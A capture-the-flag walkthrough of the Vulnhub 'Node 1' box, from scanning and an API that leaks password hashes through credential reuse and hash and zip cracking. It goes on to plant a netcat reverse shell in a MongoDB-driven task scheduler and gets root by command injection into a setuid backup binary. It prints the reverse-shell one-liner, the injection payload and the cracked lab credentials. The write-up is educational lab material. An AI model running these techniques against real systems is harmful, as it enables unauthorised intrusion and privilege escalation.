Setup

Go to the Node 1 entry on Vulnhub and download the .ova file. The description is as follows:

Node is a medium level boot2root challenge, originally created for HackTheBox. There are two flags to find (user and root flags) and multiple different technologies to play with. The OVA has been tested on both VMware and Virtual Box.

The description is brief, letting us know there are two flags to find. Booting up the image in Virtual Box yields:

Node 1: Virtual Machine

As usual there is nothing to go by initially, so we will have to scan the machine for open ports and services.

Firstly, we find the IP of the machine:

nmap -sn 192.168.0.0/24
...
Nmap scan report for 192.168.0.31
Host is up (-0.100s latency).
MAC Address: 08:00:27:65:DB:0C (Oracle VirtualBox virtual NIC)
...

We can see the machine is running on IP address 192.168.0.30 and we can begin our attack.

Service Enumeration

Each attack begins with an aggressive nmap scan:

nmap -A 192.168.0.31
Nmap scan report for 192.168.0.31
Host is up (0.00024s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|_  256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
3000/tcp open  http    Node.js Express framework
| hadoop-datanode-info: 
|_  Logs: /login
|_hadoop-jobtracker-info: 
| hadoop-tasktracker-info: 
|_  Logs: /login
|_hbase-master-info: 
|_http-title: MyPlace
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 3.19, Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.24 ms 192.168.0.31

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.04 seconds

From the scan, we can see there are only two ports open:

  • SSH on port 22
  • HTTP on port 3000

It's usually easier to attack an HTTP service than SSH.

HTTP Service Enumeration

The browser renders the following at http://192.168.0.31:3000:

Node 1: Website Front Page

The site seems to be a mock social network that is in development. Checking the source code, the site is built with Angular and the code has not been minified. We can see the following, custom files:

These short files show us the following API endpoints might exist:

  • /api/users/latest
  • /api/users/{username}
  • /api/session/authenticate
  • /api/session
  • /api/admin/backup

And the following routes have been set up for the Angular app:

  • /
  • /profiles/:username
  • /login
  • /admin

At this point, we can start to make assumptions about the API and guess endpoints like '/api/users' exists as well, which it does:

[  
   {  
      "_id":"59a7365b98aa325cc03ee51c",
      "username":"myP14ceAdm1nAcc0uNT",
      "password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
      "is_admin":true
   },
   {  
      "_id":"59a7368398aa325cc03ee51d",
      "username":"tom",
      "password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
      "is_admin":false
   },
   {  
      "_id":"59a7368e98aa325cc03ee51e",
      "username":"mark",
      "password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
      "is_admin":false
   },
   {  
      "_id":"59aa9781cced6f1d1490fce9",
      "username":"rastating",
      "password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
      "is_admin":false
   }
]

This output is interesting because:

  1. We can see there is an admin account "myP14ceAdm1nAcc0uNT"
  2. The API exposes the password hashes for each account

Password Cracking

In this case, password cracking is as simple as loading the hashes into https://crackstation.net:

Exact matches were found for three of the hashes and no match for the fourth. We now have the following username:password combinations:

  1. myP14ceAdm1nAcc0uNT - manchester (admin account)
  2. tom - spongebob
  3. mark - snowflake
  4. rastating - unknown

Website Admin

We can press login to access the login page:

Node 1: Login Page

Entering the credentials found above will reveal the admin page with a download button:

Node 1: Admin Page

Pressing the "Download Backup" button downloads a file called "myplace.backup".

Extracting Backup Contents

The downloaded file is mysterious as the file extension does not give away the type of file it is. Instead, we use the file command:

file myplace.backup
myplace.backup: ASCII text, with very long lines, with no line terminators

The file is simply ASCII text and checking the contents it has clearly been base64 encoded.

cat myplace.backup | base64 -d > decoded.backup
file decoded.backup
decoded.backup: Zip archive data, at least v1.0 to extract

After decoding the file, it is clear the file is a zip file but it is encrypted with a password. For this we use fcrackzip:

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt decoded.backup
PASSWORD FOUND!!!!: pw == magicword

We can now extract the contents with unzip:

unzip -d backup myplace.decoded
(enter password magicword at the prompt)

In the file backup/var/www/myplace/app.js, we have some credentials:

...
const app         = express();
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
...

Unprivileged Shell Access Enumeration

We can use the MongoDB credentials in the backup script for SSH:

ssh mark@192.168.0.31
(enter password 5AYRft73VtFpc84k at the prompt)

              .-. 
        .-'``(|||) 
     ,`\ \    `-`.                 88                         88 
    /   \ '``-.   `                88                         88 
  .-.  ,       `___:      88   88  88,888,  88   88  ,88888, 88888  88   88 
 (:::) :        ___       88   88  88   88  88   88  88   88  88    88   88 
  `-`  `       ,   :      88   88  88   88  88   88  88   88  88    88   88 
    \   / ,..-`   ,       88   88  88   88  88   88  88   88  88    88   88 
     `./ /    .-.`        '88888'  '88888'  '88888'  88   88  '8888 '88888' 
        `-..-(   ) 
              `-` 




The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Aug  6 23:32:28 2018 from 10.2.1.1
mark@node:~$ 

Basic reconnaissance shows some interesting information:

mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)

mark@node:~$ groups
mark

mark@node:~$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

mark@node:~$ cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"
NAME="Ubuntu"
VERSION="16.04.3 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.3 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

mark@node:~$ ps aux | grep -v root
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
systemd+   805  0.0  0.3 100324  2384 ?        Ssl  12:38   0:00 /lib/systemd/systemd-timesyncd
message+   943  0.0  0.4  42904  3588 ?        Ss   12:38   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
syslog     989  0.0  0.4 256400  3256 ?        Ssl  12:38   0:00 /usr/sbin/rsyslogd -n
daemon    1005  0.0  0.2  26044  2068 ?        Ss   12:38   0:00 /usr/sbin/atd -f
mongodb   1156  0.4 11.6 281952 88080 ?        Ssl  12:38   1:26 /usr/bin/mongod --auth --quiet --config /etc/mongod.conf
tom       1161  0.0  6.2 1009080 47548 ?       Ssl  12:38   0:02 /usr/bin/node /var/scheduler/app.js
tom       1164  0.0  8.2 1035552 62744 ?       Ssl  12:38   0:03 /usr/bin/node /var/www/myplace/app.js
mark      1974  0.0  0.6  45248  4600 ?        Ss   16:37   0:00 /lib/systemd/systemd --user
mark      1975  0.0  0.2  61276  2000 ?        S    16:37   0:00 (sd-pam)
mark      1984  0.0  0.4  95404  3336 ?        S    16:37   0:00 sshd: mark@pts/0
mark      1985  0.0  0.6  22584  5156 pts/0    Ss   16:37   0:00 -bash
mark      2019  0.0  0.4  37372  3276 pts/0    R+   17:43   0:00 ps aux

The interesting process to look at is the scheduler application running under the tom user at /var/scheduler/app.js. This script is very short:

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

Analysing this script:

  1. It connects to the Mongo database using mark's credentials
  2. It queries for all documents in the "tasks" collection
  3. It executes the command on each document with the field "cmd"
  4. Finally, the task is deleted

Accessing Tom's Account

As we can access the Mongo database using mark's credentials, we can insert a new document to add a reverse shell command command into the "cmd" field, to be executed as the user tom in his scheduler application.

First, we set up our listener on our local machine:

root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...

Second, we insert a new task into the Mongo database:

mark@node:/var/scheduler$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler

> show collections
tasks
> db.tasks.find({})

> db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.45 4444 >/tmp/f"})
WriteResult({ "nInserted" : 1 })

The script being executed is (credit to pentestmonkey.net):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.45 4444 >/tmp/f

Where 192.168.0.45 is the IP address of our local Kali machine.

After a short time, our listener has a connection as user tom:

root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.45] from (UNKNOWN) [192.168.0.31] 39290
/bin/sh: 0: can't access tty; job control turned off
$ whoami
tom

As usual, we can create a nicer shell with python and then find our first flag:

python -c 'import pty; pty.spawn("/bin/bash")'
tom@node:~$ cat /home/tom/user.txt
e1156acc3574e04b06908ecf76be91b1

Escalating To Root

After checking the contents of the app.js file in the backup from earlier, we can see the backup is created by executing /usr/local/bin/backup with 3 parameters:

  1. -q
  2. <backup_key>
  3. <directory name>

We can inspect /usr/local/bin/backup file for anything interesting:

tom@node:/usr/local/bin$ file backup
backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped

tom@node:/usr/local/bin$ ls -lah backup	
-rwsr-xr-- 1 root admin 17K Sep  3  2017 backup

Fortunately, the backup file is a binary executable with a suid bit set. In this case, any user in the admin group can execute the binary but when it runs, it will run with the privileges of root. Fortunately, our current user tom is in the admin group and execute the binary with:

/usr/local/bin/backup -q <backup_key> <directory>

Note that mark cannot execute the binary as he is not in the admin group, so getting access to tom's account was necessary.

We can put in the backup key from the app.js file from earlier as well to get:

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 <directory>

Using this command with either /etc or /root as the <directory> yields a base64 string which can be decoded and unzipped in exactly the same way as the myplace.backup file earlier but reveals troll-face ASCII art. Entering other directories such as /var output real backups.

We can use the strings command to help understand what the binary is actually doing:

tom@node:/usr/local/bin$ strings backup
...
...
 %s[+]%s %s
 %s[+]%s Starting archiving %s
             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'
Could not open file
Validated access token
Ah-ah-ah! You didn't say the magic word!
Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
/root
/etc
/tmp/.backup_%i
/usr/bin/zip -r -P magicword %s %s > /dev/null
/usr/bin/base64 -w0 %s
...
...

We can infer from the output of this command that the long, hard-coded base64 string above is returned if the directory parameter is either /root or /etc. Otherwise, the binary will run:

/usr/bin/zip -r -P magicword %s %s > /dev/null

Presumably, the binary is using string interpolation to build up a shell command to run. We can use this to our advantage by using command injection. Given we cannot change the output being redirected to /dev/null and given the script will still want to zip up a folder, we would like the commands executed to be:

/usr/bin/zip -r -P magicworld any_directory
/bin/bash
any_command > /dev/null

In order to do this, we will need to pass in a string as the third parameter to the binary executable with multiple \n characters printed to bring about new lines. Then, when /bin/bash is executed we will have root access as the binary runs as root. We add the final command so that output our bash session is not redirected to /dev/null.

Fortunately, this is quite simple with the following command:

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(echo '/any_directory\n/bin/bash\nany_command')"

Note: This command will not work inside the pseudo-terminal created with the python snippet seen earlier. We must first leave that pseudo terminal behind by typing 'exit' inside the psuedo-terminal or by reconnecting as the user tom and not running the python snippet at all.

The third parameter needs to be surrounded in double-quotes so it gets passed to the binary program as-is. Without the double-quotes, it would be interpreted by our shell session before running the backup command - we need it to be interpreted by bash as part of the backup execution.

After running the command, we now have a root shell:

whoami
root

cd /root

ls
root.txt

cat root.txt
1722e99ca5f353b362556a62bd5e6be0

Alternative Route To Root

When searching for how other people have rooted this box, it turns out the kernel in the machine is also vulnerable to this local privilege escalation exploit found on exploit-db. I imagine this was not the intended way to root the machine though.